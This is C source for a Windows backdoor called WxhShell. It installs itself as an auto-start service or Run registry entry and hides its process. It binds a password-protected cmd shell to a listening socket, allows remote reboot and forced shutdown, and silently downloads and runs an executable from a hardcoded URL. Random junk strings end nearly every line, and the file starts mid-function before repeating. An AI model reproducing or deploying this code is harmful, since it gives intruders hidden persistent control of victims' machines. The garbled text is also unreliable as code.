    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rrD6x>  
    if(Boot(SHUTDOWN)) TdhfX{nk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TxrW69FV7  
    else { crmQn ^4\  
    closesocket(wsh); W .a>K$  
    ExitThread(0); byHc0ktI\  
    } i3-5~@M  
    break; 2)}n"ibbT  
    } MxTJgY  
  // 获取shell ]OAU&t{  
  case 's': { Z@~gN5@,M  
    CmdShell(wsh); Y teIp'T  
    closesocket(wsh); bnxp[Qk|5  
    ExitThread(0); 1p&.\ ^  
    break; 5100fX}  
  } {K^5q{u  
  // 退出 bz*@[NQ  
  case 'x': { 'L/)9.29  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .N(R~_  
    CloseIt(wsh); Vt`4u5HG  
    break; '+Dsmoy  
    } xIdb9hm<  
  // 离开 JrP`u4f_  
  case 'q': { )g pN 5TDd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pdu1 kL  
    closesocket(wsh); .K C* (}-  
    WSACleanup(); 7HkO:/  
    exit(1); TWP@\ BQ  
    break; >A Ep\ *  
        } D  T5d]MU  
  } u>XXKlW:  
  } ; 476t  
*5'8jC"2g  
  // 提示信息 YPK@BmAdE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rZKh}E  
} -l[H]BAMXy  
  } K,4Ig!  
z#{Y>.b  
  return; FZ*"^=)`G  
} I4Do$&9<D  
CD1Ma8I8  
// shell模块句柄 R|?n  
int CmdShell(SOCKET sock) B`SX3,3  
{ <spG]Xa<  
STARTUPINFO si; x[ A|@\Z  
ZeroMemory(&si,sizeof(si)); 757&bH|a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l)r\SE1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y-pdAkDh  
PROCESS_INFORMATION ProcessInfo; :zW? O#aL-  
char cmdline[]="cmd"; 01(U)F\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [* xdILj  
  return 0; 7F`\Gz_2  
} qlhc"}5x }  
fTxd8an{  
// 自身启动模式 FB k7Cn!  
int StartFromService(void) '4,?YcZ?S  
{ `zoHgn7B9q  
typedef struct (Mc{nFqS  
{ !t%1G.  
  DWORD ExitStatus; P| NGAd  
  DWORD PebBaseAddress; 5BrN uR$  
  DWORD AffinityMask; ju2H 0AQ  
  DWORD BasePriority; ZayJllaq^  
  ULONG UniqueProcessId;  |Iy;_8c  
  ULONG InheritedFromUniqueProcessId; {$S"S j  
}   PROCESS_BASIC_INFORMATION; r^k+D<k[7  
=Jp:dM*  
PROCNTQSIP NtQueryInformationProcess; O%t? -h  
= MByD&o`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QPuc{NcB>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O>E}Lu;|  
{-)^?Zb @  
  HANDLE             hProcess; Csyh 'v  
  PROCESS_BASIC_INFORMATION pbi; 6;E3|st1X  
,Uh^e]pC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +9/K|SB{ $  
  if(NULL == hInst ) return 0;  l!1_~!{y  
6AIqoX*p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y[J9"k(@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XT/t\\Z`U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :E W1I>}_  
=Ti!9_~  
  if (!NtQueryInformationProcess) return 0; + S+!:IB  
 II'.vp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fhi}x(  
  if(!hProcess) return 0; ?0)K[Kd'Y  
4(8c L?J`0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?;#Q3Y+  
`yR/M"u6T  
  CloseHandle(hProcess); bAlty}U  
HOi~eX1d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %XR(K@V  
if(hProcess==NULL) return 0; 0MpW!|E  
L IKuK#  
HMODULE hMod; [C!*7h  
char procName[255]; "Lvk?k )hx  
unsigned long cbNeeded; (~Z&U  
[l=@b4Og  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,RV>F_  
nLL2/!'n  
  CloseHandle(hProcess); .QY>@b\  
TY/'E#.  
if(strstr(procName,"services")) return 1; // 以服务启动 Pk&=\i<  
8B ,S_0!  
  return 0; // 注册表启动 N_G&nw  
} IAA_Ft  
"9s}1C;Me  
// 主模块 ,wf_o%'eW  
int StartWxhshell(LPSTR lpCmdLine)  x,: k/]  
{ Ztk%uc8_lM  
  SOCKET wsl; 23|JgKuA  
BOOL val=TRUE; L1_O!EQ  
  int port=0; aj|3(2;Kp  
  struct sockaddr_in door; ll}_EUF|  
:E{)yT  
  if(wscfg.ws_autoins) Install(); <\nM5-wR  
Tkr~)2,(I!  
port=atoi(lpCmdLine); 'oz$uvX  
!bzWgD7j  
if(port<=0) port=wscfg.ws_port; =nHkFi@D=t  
p$F` 9_bZ  
  WSADATA data; 6Takx%U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F=&,=r' Q8  
v1u~[c=|^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H-t$A, [  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vJr,lBHEk  
  door.sin_family = AF_INET; WiZkIZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 46M=R-7=  
  door.sin_port = htons(port); em7L `,  
pPxgjX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M19O^P>[  
closesocket(wsl); 0aq{Y7sYU  
return 1; J+CGhk  
} N9ipwr'P  
u/k' ry=  
  if(listen(wsl,2) == INVALID_SOCKET) { NXLb'mH~  
closesocket(wsl); E9Kp=3H  
return 1; iTevl>p!  
} ipG 0ie+  
  Wxhshell(wsl); g3s5ra[  
  WSACleanup(); ?i_2ueVR  
Vuy%7H  
return 0; t(<k4ji,  
/?BTET  
} LQqba4$  
 irh Z  
// 以NT服务方式启动 2K3j3|T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l_2Xao$  
{ &n]v  
DWORD   status = 0; BZOl&G(  
  DWORD   specificError = 0xfffffff; Z9H2! Cp  
^0"fPG`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GRpwEfG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t<+>E_Xw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bfUKh%!M  
  serviceStatus.dwWin32ExitCode     = 0; j*?E~M.'1K  
  serviceStatus.dwServiceSpecificExitCode = 0; "4KyJ;RA*  
  serviceStatus.dwCheckPoint       = 0; Na]ITCVR  
  serviceStatus.dwWaitHint       = 0; Tb^1#O  
?AO=)XV2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >q')%j  
  if (hServiceStatusHandle==0) return; fLRx{Nu  
X'.l h#&  
status = GetLastError(); ?&6|imPE  
  if (status!=NO_ERROR) ']Czn._  
{ m[l&&(+J,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ao7M(f  
    serviceStatus.dwCheckPoint       = 0; vh|m[p  
    serviceStatus.dwWaitHint       = 0; I 8 ?  
    serviceStatus.dwWin32ExitCode     = status; j!L7r'AV5  
    serviceStatus.dwServiceSpecificExitCode = specificError; oGXcu?ft  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !9qw  
    return; o8g] ho  
  } H O>3>v  
("f~gz<<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R {-M%n4w  
  serviceStatus.dwCheckPoint       = 0; K7$Q .  
  serviceStatus.dwWaitHint       = 0; (w_b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M~X~2`fFH  
} l"&iSq!3=  
?(khoL t  
// 处理NT服务事件,比如:启动、停止 ;p,Kq5,l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .|:(VG$MfI  
{ ~ hP]<$v  
switch(fdwControl) <,*w$  
{ ko{&~   
case SERVICE_CONTROL_STOP: yqJ>Z%)hf  
  serviceStatus.dwWin32ExitCode = 0; uI)z4Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +CQIm!Sp  
  serviceStatus.dwCheckPoint   = 0; /w5c:BH  
  serviceStatus.dwWaitHint     = 0; %}  
  { yp hd'Pu"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q@mZ0D-  
  } u#ocx[  
  return; mmC MsBfL  
case SERVICE_CONTROL_PAUSE: rXrIGgeM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .dc|?$XV  
  break; hZ>1n&[ @  
case SERVICE_CONTROL_CONTINUE: ju.`c->k"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x {R j2~KC  
  break; ? _[ q{i{  
case SERVICE_CONTROL_INTERROGATE: H_iQR9Ak7  
  break; s2tNQtq 0W  
}; HS.eK#:N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (6)|v S  
} Rs'mk6+  
vN6)Szim  
// 标准应用程序主函数 (^ J2(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7*+tG7I @  
{ /Zz [vf  
}Zp[f6^Q  
// 获取操作系统版本 DI :  
OsIsNt=GetOsVer(); `'rvDaP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xM&`>`;^e  
4SkCV  
  // 从命令行安装 0sq?>$~Kc*  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z4k'c+  
P?=}}DI  
  // 下载执行文件 |l~#qeZ%  
if(wscfg.ws_downexe) { pSx}:u^am  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |UQGZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fp+fZU  
} On;7  
!'bZ|j%  
if(!OsIsNt) { m*AiP]Qu  
// 如果时win9x,隐藏进程并且设置为注册表启动 ` b)i;m  
HideProc(); bz\nCfU  
StartWxhshell(lpCmdLine); =1VpO{ q  
} TaG (sRI  
else $ 3Sm?  
  if(StartFromService()) C9%A?'`  
  // 以服务方式启动 G Mg|#DV  
  StartServiceCtrlDispatcher(DispatchTable); JGlp7wro  
else . N5$s2t  
  // 普通方式启动 SQdK`]4  
  StartWxhshell(lpCmdLine); FdxV#.BE  
bL%-9BG  
return 0; M r~IVmtf  
} wem hP8!gc  
dsZ-|C  
KctbNMU]k  
2 o5u02x  
=========================================== z7JhS|  
x c?=fv  
`! )^g/>0i  
NE?tfj  
fc^d3wH0L  
hIo ^/_K  
" DPWnvd  
)5<c8lzp  
#include <stdio.h> IP#qT `=}  
#include <string.h> <[z9*Tm  
#include <windows.h> 6 Znt   
#include <winsock2.h> {u$<-W-&  
#include <winsvc.h> \2 [  
#include <urlmon.h> qD(dAU  
KhNE_. Z  
#pragma comment (lib, "Ws2_32.lib") z| m-nIM  
#pragma comment (lib, "urlmon.lib") p=dM2>  
1{CVd m<9  
#define MAX_USER   100 // 最大客户端连接数 WHR6/H  
#define BUF_SOCK   200 // sock buffer $*+`;PG-  
#define KEY_BUFF   255 // 输入 buffer !F)BTB7{<  
&bwI7cO  
#define REBOOT     0   // 重启 eq4Yc*|9  
#define SHUTDOWN   1   // 关机 ugQySg>  
GOY!()F  
#define DEF_PORT   5000 // 监听端口 4#D>]AX  
%xN91j["  
#define REG_LEN     16   // 注册表键长度 !?GW<Rh  
#define SVC_LEN     80   // NT服务名长度 LE+#%>z>  
7eyx cr;z  
// 从dll定义API l\&Tw[O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); . L]!*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L@~0`z:>iP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #D Oui]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M~djX} #\  
,z|g b]\  
// wxhshell配置信息 ,Y27uey{wa  
struct WSCFG { joJQ?lG  
  int ws_port;         // 监听端口 Ft 2u&Rtx  
  char ws_passstr[REG_LEN]; // 口令 C <q@C!A  
  int ws_autoins;       // 安装标记, 1=yes 0=no (x8D ]a  
  char ws_regname[REG_LEN]; // 注册表键名 $&FeR*$|g  
  char ws_svcname[REG_LEN]; // 服务名 MMyJAGh ^G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \r&9PkHWo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ehg(xK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i/q1>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R?J=5tO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `>\>'V<&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Kfs|KIQ>=  
VuA)Ye  
}; @<=<?T> 1  
0`kaT ?>  
// default Wxhshell configuration K7] +. f  
struct WSCFG wscfg={DEF_PORT, *l8:%t\  
    "xuhuanlingzhe", t|cTl/i 4  
    1, u\}"l2 r  
    "Wxhshell", Xs$UpQo  
    "Wxhshell", 0)9'x)l:  
            "WxhShell Service", ]t.6bb4  
    "Wrsky Windows CmdShell Service", 8i?:aN[.1b  
    "Please Input Your Password: ", ? VHOh9|AT  
  1, cDLjjK7:   
  "http://www.wrsky.com/wxhshell.exe", s)V<dm;T  
  "Wxhshell.exe" njBK{  
    }; 2!g7F`/B  
L%0G >2x  
// 消息定义模块 Hge0$6l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hH=}<@z   
char *msg_ws_prompt="\n\r? for help\n\r#>"; qku!Mg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {Nny .@P)H  
char *msg_ws_ext="\n\rExit."; 8G|kKpX  
char *msg_ws_end="\n\rQuit."; = ^_4u%}  
char *msg_ws_boot="\n\rReboot..."; </) HcRj'e  
char *msg_ws_poff="\n\rShutdown..."; vC%8-;8{H  
char *msg_ws_down="\n\rSave to "; O" ,*N  
"1>48Z-UC  
char *msg_ws_err="\n\rErr!"; hd_<J]C  
char *msg_ws_ok="\n\rOK!"; FKk.BA957h  
nY50dFA,  
char ExeFile[MAX_PATH]; TCetd#;R  
int nUser = 0; #'oGtFCd`  
HANDLE handles[MAX_USER]; H 5'Ke+4.e  
int OsIsNt; "DU1k6XC  
okQ<_1e{  
SERVICE_STATUS       serviceStatus; J=AF`[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?bH!|aW(H  
/nVGr]t_pj  
// 函数声明 |lVoL.Z,0  
int Install(void); _*LgpZ-2(  
int Uninstall(void); W60C$*h  
int DownloadFile(char *sURL, SOCKET wsh); - DE?L,9X9  
int Boot(int flag); ;n;bap  
void HideProc(void); Eh/Z4pzT  
int GetOsVer(void); eaCh;IpIf  
int Wxhshell(SOCKET wsl); !5=S 2<UX  
void TalkWithClient(void *cs); p2uZ*sY(D  
int CmdShell(SOCKET sock); pn-`QB:{h  
int StartFromService(void); 8;1,saA_9  
int StartWxhshell(LPSTR lpCmdLine); !t!\b9=  
b[`fQv$G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2mfKy9QxO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O}mz@- Z  
7':qx}c#!1  
// 数据结构和表定义 db5@+_  
SERVICE_TABLE_ENTRY DispatchTable[] = )|`|Usn#[  
{ M Qlx&.>  
{wscfg.ws_svcname, NTServiceMain}, db0]D\  
{NULL, NULL} C`r{B.t`GT  
}; &BS*C} },  
NX9K%J  
// 自我安装 *_CzCl^   
int Install(void) xJ|_R,>.H  
{ 0`%Ask  
  char svExeFile[MAX_PATH]; We?cRb  
  HKEY key; g]E>e v{`  
  strcpy(svExeFile,ExeFile); CH+mzy  
u#~q86k  
// 如果是win9x系统,修改注册表设为自启动 K *xca(6  
if(!OsIsNt) { ,7mB`0j>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \9`76*X6 c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V"DilV$v  
  RegCloseKey(key); 0m 7_#g4$L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Va3/#is'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8a,pDE  
  RegCloseKey(key); L@>$ Aw  
  return 0; JJVdq-k+`  
    } PiZU _~A  
  } +jN%w{^=  
} 5tQZf'pHfd  
else { r%UsUj  
IT=<p60"  
// 如果是NT以上系统,安装为系统服务 mVNHH!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~"}o^#@DwJ  
if (schSCManager!=0) Z,}c)  
{ =&"x6F.`  
  SC_HANDLE schService = CreateService [ F7ru4"{  
  ( Dwuao`~Xm  
  schSCManager, Bb zmq  
  wscfg.ws_svcname, &^1{x`Qo=  
  wscfg.ws_svcdisp, l#cG#-  
  SERVICE_ALL_ACCESS, {?hpW+1,#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ic')L*i7O  
  SERVICE_AUTO_START, 9L9qLF5 t  
  SERVICE_ERROR_NORMAL, cPbAR'  
  svExeFile, ?3Y~q;I]O  
  NULL, EEdU\9DH(  
  NULL, SKeX~uLz  
  NULL, %E*Q0/  
  NULL, o#9 Q   
  NULL /;clxtus  
  ); ]@A}v\wa  
  if (schService!=0) >Pf\"% *  
  { xnvG5  
  CloseServiceHandle(schService); O =0j I  
  CloseServiceHandle(schSCManager); ViYfK7Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vh'H =J  
  strcat(svExeFile,wscfg.ws_svcname); dBNx2T}_0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L5 Q^cY]p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jHQnD]Hr  
  RegCloseKey(key); j`:D BO&)\  
  return 0; 2pmqP-pKd  
    } +Hk r\  
  } GvI8W)d3,R  
  CloseServiceHandle(schSCManager); P B?92py&  
} s|\\"3  
} B<\HK:%{  
^\C Fke=  
return 1; gi #dSd1\&  
} SI, t:=D  
vtF|: *h  
// 自我卸载 EaKbG>  
int Uninstall(void) ><i: P*ht  
{ E_-QGE/1  
  HKEY key; FW)VyVFmk  
_bn "c@s  
if(!OsIsNt) { 9>9,   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yV?qX\~*  
  RegDeleteValue(key,wscfg.ws_regname); 2uLBk<m5c  
  RegCloseKey(key); O b'Br  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w9TE E,t;5  
  RegDeleteValue(key,wscfg.ws_regname); Znd ,FqHk  
  RegCloseKey(key); rt'pc\|O&  
  return 0; %WlTx&jSgE  
  } +=K =B  
} \- 8S"  
} kwUy^"O  
else { w0^}c8%WR  
SW)jDy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A~({vb'  
if (schSCManager!=0) ;(&S1Rv9  
{ D`R~d;U~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SFR<T  
  if (schService!=0) ;cfPS  
  { z)Lw\H^/  
  if(DeleteService(schService)!=0) { l KG' KR.  
  CloseServiceHandle(schService);  ) fQ1U  
  CloseServiceHandle(schSCManager); 53WCF[  
  return 0; +t%1FkI\  
  } i ?PgYk&}  
  CloseServiceHandle(schService); >!Dp'6  
  } otbr8&?-  
  CloseServiceHandle(schSCManager); nzU;Bi^m  
} xauMF~*  
} 'P)c'uqd#  
X& mD/1  
return 1; H3L uRGe&2  
} b|e1HCH  
9,[A fI  
// 从指定url下载文件 |y pX O3  
int DownloadFile(char *sURL, SOCKET wsh) 72ZoN<c  
{ h"7~`!"~  
  HRESULT hr; XK&G`cJ[  
char seps[]= "/"; -2'1KAk-W  
char *token; q_cP<2`@V  
char *file; >&ENrvaJ  
char myURL[MAX_PATH]; 0f#xyS 3  
char myFILE[MAX_PATH]; {2k]$|  
+xd@un[r<  
strcpy(myURL,sURL); =Cd{bj.8  
  token=strtok(myURL,seps); P$Q,t2$A  
  while(token!=NULL)  +;-ZU  
  { zx5#eMD  
    file=token; |DYgc$2pN  
  token=strtok(NULL,seps); G=]ox*BY  
  } V*DDU]0k  
?dPr HSy  
GetCurrentDirectory(MAX_PATH,myFILE); .N7<bt@~)  
strcat(myFILE, "\\"); [&g"Z"  
strcat(myFILE, file); ,0c]/Sd*p  
  send(wsh,myFILE,strlen(myFILE),0); WLA&K]  
send(wsh,"...",3,0); q@g#DP+C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Dt! <  
  if(hr==S_OK) (eAz nTU  
return 0; ~ #7@;C<nt  
else 8@Bm2?$}g  
return 1; &(lQgi+^!  
F ^Bk  @  
} v: veKA  
yf7|/M  
// 系统电源模块 Mh{244|o[  
int Boot(int flag) _PcF/Gyk  
{ W1521:  
  HANDLE hToken; ut#pg+#Q  
  TOKEN_PRIVILEGES tkp; 5mS/,fs@  
k*v${1&  
  if(OsIsNt) { a@J/[$5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sY4q$Fq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CF 3V)3}  
    tkp.PrivilegeCount = 1; )|_L?q#w!'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a?yU;IKJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r.lHlHl  
if(flag==REBOOT) { Wm}gnNwA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \E[6wB>uN%  
  return 0; e{9~m  
} r@/@b{=  
else { Q :.i[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _a f $0!  
  return 0; cUr!U\X[  
} na|sKE;{  
  } \KzH5?  
  else { c/igw+L()  
if(flag==REBOOT) { 7377g'jL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BeN]D  
  return 0; I\x9xJ4x  
} 684d&\(s  
else {  "iR:KW@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [:(/cKo  
  return 0; ALV(fv$cD  
} t|mK5aR4  
} bL Sc=f&  
^/6P~iK'  
return 1; I)yF!E &  
} k~gOL#$  
XK\3"`kd  
// win9x进程隐藏模块 CBoCT3@~  
void HideProc(void) PXqG;o*Q*?  
{ jFJ}sX9]  
<_ENC>NP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); shw"TF>?zG  
  if ( hKernel != NULL ) iPkCuLQ}  
  { :w!hkUx#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9K#3JyW*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oR,6esA+6n  
    FreeLibrary(hKernel); ' ,S}X\  
  } SZyORN  
N#ZWW6  
return; k}p8"'O  
} g8l6bh$}  
H%XF~tF:  
// 获取操作系统版本 l? U!rFRq`  
int GetOsVer(void) E3l*_b0  
{ " :vEWp+g  
  OSVERSIONINFO winfo; +wJ!zab`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); awwSgy  
  GetVersionEx(&winfo); d$ n31F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZOMYo]  
  return 1; NPrLM5  
  else hl7 z1h  
  return 0; M2N8?Ycv3  
} HFI0\*xn(  
g&85L$   
// 客户端句柄模块 KN[;z2i  
int Wxhshell(SOCKET wsl) !yxqOT-  
{ ~bC A8  
  SOCKET wsh; C l,vBjl h  
  struct sockaddr_in client; W7 dSx  
  DWORD myID; BV`\6SM~  
=#,`k<v%I  
  while(nUser<MAX_USER) yk)]aqic  
{ IhBc/.&RL  
  int nSize=sizeof(client); [!yA#{xl,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &e@)yVLL  
  if(wsh==INVALID_SOCKET) return 1; 2jC`'8  
:>2wVN&\c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >Rd~-w)!|  
if(handles[nUser]==0) (/N&_r4x  
  closesocket(wsh); q :TNf\/o  
else pm,xGo2  
  nUser++; 8\!E )M|4  
  } BjsT 9?6W/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qSB&Q0T  
WA"~6U*  
  return 0; (nt`8 0  
} I](a 5i  
C[G+SA1&W  
// 关闭 socket |Rz.Pt6  
void CloseIt(SOCKET wsh) @anjjC5a~  
{ O"+0 b|  
closesocket(wsh); GaG>0 x   
nUser--; 8>,w8(Nt  
ExitThread(0); `H6~<9r  
} 3>-h- cpMX  
#$- E5R;x  
// 客户端请求句柄 &.\7='$F  
void TalkWithClient(void *cs) >#x[qX  
{ =uH2+9.  
{V2"Pym?  
  SOCKET wsh=(SOCKET)cs; *H/3xPh,*  
  char pwd[SVC_LEN]; 6<<"9mxK  
  char cmd[KEY_BUFF]; (pd$?vRy  
char chr[1]; &<]f-  
int i,j; [i /!ovcY  
H{vKk  
  while (nUser < MAX_USER) { lQHF=Jex  
LWT\1#  
if(wscfg.ws_passstr) { L|T?,^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rbf6/C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , :#bo]3  
  //ZeroMemory(pwd,KEY_BUFF); YE{ [f@i0  
      i=0; .{h"0<x  
  while(i<SVC_LEN) { BZ?Ck[E]Z  
|cf-S8pwY  
  // 设置超时 `a4&_`E,p  
  fd_set FdRead; 5b7(^T^K  
  struct timeval TimeOut; kFWwz^x  
  FD_ZERO(&FdRead); {h7 vJ^  
  FD_SET(wsh,&FdRead); 3W%6n-*u  
  TimeOut.tv_sec=8; #@$80eFq  
  TimeOut.tv_usec=0; *uhQP47B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p35=CX`T.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5'I+%66?h$  
Giv,%3'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %7 bd}sJ#  
  pwd=chr[0]; su1lv#  
  if(chr[0]==0xd || chr[0]==0xa) { 78uImC*o  
  pwd=0; q2vD)r  
  break; 1N8] ~ j  
  } UxTLr-db^  
  i++; !S':G  
    } k.ou$mIY  
X3l>GeUi  
  // 如果是非法用户,关闭 socket 2!J#XzR0W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); II=`=H{  
}  7H  
y9 {7+]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %Hbq3U30  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qh1pX}X  
FBNLszT{L  
while(1) { 9{jMO  
+Y sGH~jX  
  ZeroMemory(cmd,KEY_BUFF); #&}- q RA  
CUI3^;&S  
      // 自动支持客户端 telnet标准   m4hkV>$d  
  j=0; @kFZN6  
  while(j<KEY_BUFF) { [Y .8C$0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K$,Zg  
  cmd[j]=chr[0]; 5wx_ol}2  
  if(chr[0]==0xa || chr[0]==0xd) { JY#vq'dl|  
  cmd[j]=0; yS W$zA,  
  break; ZL6HD n!  
  } wf\"&xwh?  
  j++; qPq]%G*{  
    } [<R haZz  
x|~8?i$%  
  // 下载文件 BV~J*e  
  if(strstr(cmd,"http://")) { $vegU]-R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sN[}B{+  
  if(DownloadFile(cmd,wsh)) Ay?<~)H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Spu/55_  
  else F?Lt-a+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [gmov)\c  
  } -qIi.]/f"9  
  else { f CU]  
*#Cx-J  
